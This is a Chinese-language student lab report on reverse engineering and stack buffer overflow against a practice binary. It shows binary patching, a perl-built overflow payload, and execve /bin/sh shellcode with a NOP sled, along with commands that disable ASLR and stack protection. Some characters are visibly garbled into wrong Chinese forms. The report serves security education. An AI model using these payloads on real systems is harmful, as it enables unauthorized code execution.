2018-2019-2 20165114《网络对抗技术》Exp1 逆向与Bof基础

逆向及Bof基础实践

目录

1、实践目标
2、实验操做和步骤

一、直接修改程序机器指令 二、经过构造输入参数,形成BOF攻击。 三、注入Shellcode并执行html

3、实验总结
4、实验遇到的错误和问题

1、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。linux

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。shell

该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。编程

  • 三个实践内容以下:vim

    1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
    2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
    3. 注入一个本身制做的shellcode并运行这段shellcode。
  • 这几种思路,基本表明现实状况中的攻击目标:windows

    1. 运行本来不可访问的代码片断
    2. 强行修改程序执行流
    3. 以及注入运行任意代码。

基础知识

1. Linux基本操做
  • 管道|,表示上一条指令的输入为下一条指令的输出。
  • 重定向>,将字符输入某个文件。
  • vim编辑器的使用。
2. 理解Bof原理涉及的基础知识
  • EBP为栈底指针,ESP为栈顶指针,EIP存放下一条执行的CPU指令。
  • 堆栈的生长方向与内存生长方向相反,故堆栈的顶部内存地址小。
  • 汇编指令call表转移,跳转,机器指令为e8;指令ret其实也是跳转,返回,机器指令为c3。
  • gdb调试的使用
3. 须要描述的内容

(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码sass

反汇编文件20165114pwn后,可在其中发现这几条汇编指令的机器码安全

由此可知:dom

  • 汇编指令nop 的机器码为90,即空操做,可用来延时;
  • 汇编指令jne 的机器码为75,条件转移指令,当零标志z=0则跳转,为1则执行下一条指令;
  • 汇编指令je 的机器码为74,条件转移指令,当零标志z=1则跳转,为0则执行下一条指令,与jne相反;
  • 汇编指令jmp 的机器码为eb,无条件转移,跳转;
  • 汇编指令cmp的机器码为39,对两数进行相减,进行比较;

(2)掌握反汇编与十六进制编程器编辑器

反汇编指令objdump

objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。

  • -a 显示档案库的成员信息,相似ls -l将lib*.a的信息列出。
  • -d 从objfile中反汇编那些特定指令机器码的section。
  • -D 与 -d 相似,但反汇编全部section.

(3)能正确修改机器指令改变程序执行流程 (4)能正确构造payload进行bof攻击 见下文操做步骤。

2、实验操做和步骤

一、直接修改程序机器指令

将机器指令修改,使本来跳转入foo函数的流程,直接跳到getshell函数,得到shell。

(1)反汇编:objdump -d 20165114pwn | more,查看汇编指令,理解该程序,为下一步作准备,下图为其中部分核心代码。 其中的e8 d7ffff指令为跳转至foo函数,直接经过编辑该文件修改其为e8 c3ffff,使其跳转到getshell函数,具体指令步骤以下:

(2)vim 20165114pwn,进入文件修改机器指令,能够看到一些乱码。 (3)接下来把乱码转换为十六进制机器指令。按下ESC键,输入:%!xxd 修改成十六进制模式,再进行编辑。

(4)查找要修改的内容:/e8 d7ff

(5)使用vim编辑器将d7修改c3

(6)转换十六进制为原格式::%xxd -r

(7)保存修改并退出::wq

(8)再次反汇编,查看是否修改为功,发现已经成功修改。

(9)运行20165114pwn文件,测试是否攻击成功。

成功了!


二、经过构造输入参数,形成BOF攻击。

2.1反汇编,了解程序的基本功能,与以前相同,此处再也不赘述。

2.2寻找存放返回地址的位置的内存地址,覆盖上getshell开头的内存地址,使其没法返回main函数,而是跳入咱们的getshell,得到shell。

foo函数占28个字节,ebp占据4个字节,故返回地址在32个字节以后,这里咱们经过输入数字来定位返回地址的值。

步骤: (1)复制文件cp pwn1 20165114pwn_2。 (2)进入调试gdb 20165114pwn_2,以查看返回地址的位置。

(3)(gdb)r,运行该文件,输入1111111122222222333333334444444455555555,将会输出1111111122222222333333334444444455555555,由于该程序功能即为输出刚刚输入的值。 (4)查看各寄存器的状态(gdb)info r,其中eip寄存器中为0x35353535,其中35为5的ascii值的十六进制表示,便可初步肯定返回地址的值为输入前四个5的位置,注入bof时将这4个位置填入getshell的内存地址便可覆盖至正确位置。

(5)再次确认位置,输入指令(gdb)r,运行该文件,这次输入1111111122222222333333334444444412345678,准肯定位。 (6)查看各寄存器的状态(gdb)info r,其中eip寄存器中为0x34333231,其中3四、3三、3二、31分别为四、三、二、1的ascii值的十六进制表示,因为是小端模式,字节序倒放。确认了返回地址的位置。

(7)(gdb)q,退出debug。

2.3得到返回地址的位置后,构造字符串并攻击缓冲区。

(8)开始反汇编已知getshell的内存地址为0804847d,生成包括该地址的一个文件,再放入20165114pwn_2文件,为以后能成功实现bof溢出攻击。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"'> input

(9)查看修改后的文件的十六进制机器指令:xxd input,发现指令7d84 0408在32个字节后的位置。

(10)(cat input;cat) | ./20165114pwn_2,将input文件中的内容注入并执行20165114pwn_2文件,发现成功得到shell,可输入指令并获得正确回应。


三、注入Shellcode并执行

3.1获取一段shellcode

shellcode就是一段机器指令(code)

  • 一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),因此这段机器指令被称为shellcode。
  • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

如下实践使用学姐的文章Shellcode入门中生成的shellcode。以下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\


3.2准备工做

修改一些设置,只有修改事后才能实现shell注入并成功执行噢

1. apt-get install execstack //安装execstack命令
2. execstack -s pwn1 //设置堆栈可执行
3. execstack -q pwn1 //查询文件的堆栈是否可执行
4. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
5. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
6. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

下图为我安装execstack命令和设置的操做。


3.3构造要注入的payload

  • Linux下有两种基本构造攻击buf的方法:

    ①nop+shellcode+retaddr

    ②retaddr+nop+shellcode

    nop的做用:

    • nop一为是了填充,二是做为“着陆区/滑行区”。
    • 咱们猜的返回地址只要落在任何一个nop上,天然会滑到咱们的shellcode。

由于retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

我在实验中实现了第二种结构的成功注入,即anything+retaddr+nop+shellcode结构。

此时,shellcode开头处的地址=返回地址+4字节,咱们须要定位返回地址,将shellcode开头地址覆盖给返回地址,以实现跳转入咱们的shellcode代码的目的。

(1)打开终端,输入以下指令:perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode

其中:

  • "A" x 32为填充的内容,即为上述的anything。
  • \x04\x03\x02\x01\用来覆盖到堆栈上返回地址的位置,咱们须要在以后改成shellcode的地址。
  • x90为Nop指令,做为填充滑行,以后为shellcode。

(2)在此终端继续输入指令,注入这段攻击buf:(cat 20165114_shellcode;cat) | ./20165114pwn_3,回车。

(3)打开另外一个终端,进行调试,寻找返回地址。

  1. ps -ef | grep 20165114pwn_3,找到该进程号为6731.
  2. gdb,进入调试。

3.(gdb)attach 6731,attach到已启动的进程上。

4.(gdb)disassemble foo,反汇编foo函数。

5.(gdb)break *0xx80484ae,设置断点,目的查看返回地址。

6.(gdb)c,继续。

(4)当出现continuing时,在另外一个终端按下回车(若是提早按下会出现错误!!!)。

(5)返回正在进行调试的终端:

  1. (gdb)info r esp,查看栈顶指针指向的内存地址。
  2. x/16x 0xffffd20c

(6)查看该内存地址的内容。发现其为0x01020304,找到返回地址的位置了,能够推出shellcode的地址为0x0ffffd210

(7)在终端中输入指令,将原来的\x04\x03\x02\x01\改成\x10\xd2\xff\xff\,即再次输入指令:

perl -e 'print "A" x 32;print "\x10\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20165114_shellcode

  • xxd 20165114_shellcode,查看此时修改后内存地址是否正确,以下图所示。
  • 从新注入这段攻击buf:(cat 20165114_shellcode;cat) | ./20165114pwn_3
  • 回车后发现成功了!!!


3、实验总结

3.1实验收获与感想

  • 对缓冲区溢出有了更深的理解,也感受到了漏洞的危害性很是大。发现通过设计,缓冲区溢出能够实现很是强大的功能。

  • 此次实验让我意识到,在扎实的理论基础上的创新和想法是很是重要的,缓冲区溢出的巧妙之处在于创新地放入了shellcode,能够自由控制该主机,达到本身的目的。固然其中涉及了汇编语言、机器指令、各类有关计算机的基础知识等等,我也意识到以前的各类基础课程都是十分必要而重要的,经过知识的积累和沉淀,才可以进行创造和攻击,每每综合能力依赖各个方面的汇总。

3.2什么是漏洞?漏洞有什么危害?

  • 通过此次实验,我感受漏洞并非设计时出现的重大纰漏,而是因为某方面考虑不够全面和严谨,致使攻击者有空可钻的问题。在不仔细思考的条件下,可能不会被发现,可是攻击者可能巧妙地利用这个特性或者特征,实现一些危害系统安全、影响使用者的功能。是一些被攻击者发现的能够实现不良目的的一些巧妙的问题。

  • 漏洞会致使不少危害,像本实验注入shellcode就可致使黑客实现任意操做,被黑客控制,黑客甚至能拿到超级管理员权限,危害很大,其中包括数据丢失和篡改、隐私泄露、危害系统安全、致使软硬件受损。


4、实验遇到的错误和问题

错误一:

因为在更改主机名时,我在/etc/sysconfig/network文件中没法找到HOSTNAME,只更改了/etc/hosts文件,以后出现了如图的提示,重启后问题能够解决,可是并无成功修改主机名,因而我使用指令hostname daiqiaoyu,可修改主机名,但重启后仍会变为kali。

错误二:

运用实验指导中的第一种方法,即nop+shellcode+retaddr结构,会发现最终出现段错误的提示,没法成功,与实验指导遇到的问题相同,应该是寻找返回地址时定位出现了问题,没有正确找到返回地址的值,覆盖也就出现了错误。后面第二种结构可成功。

错误三:

提早回车,在注入shellcode实验中,寻找shellcode的内存地址时,进行调试,在一个终端输入指令(cat 20165114_shellcode;cat) | ./20165114pwn_3并回车后,此时不能再次回车,须要在另外一个终端中开启gdb,在输入(gdb)r并出现continuing的提示后,才能再次返回该终端按下回车,若提早回车会出现上图状况并可能后续失败,没法找到返回地址。

错误四:

低级错误之,输入的第15个字符--标点符号为中文字符,而不是英文,致使报错,修改后可继续实验。

相关文章
相关标签/搜索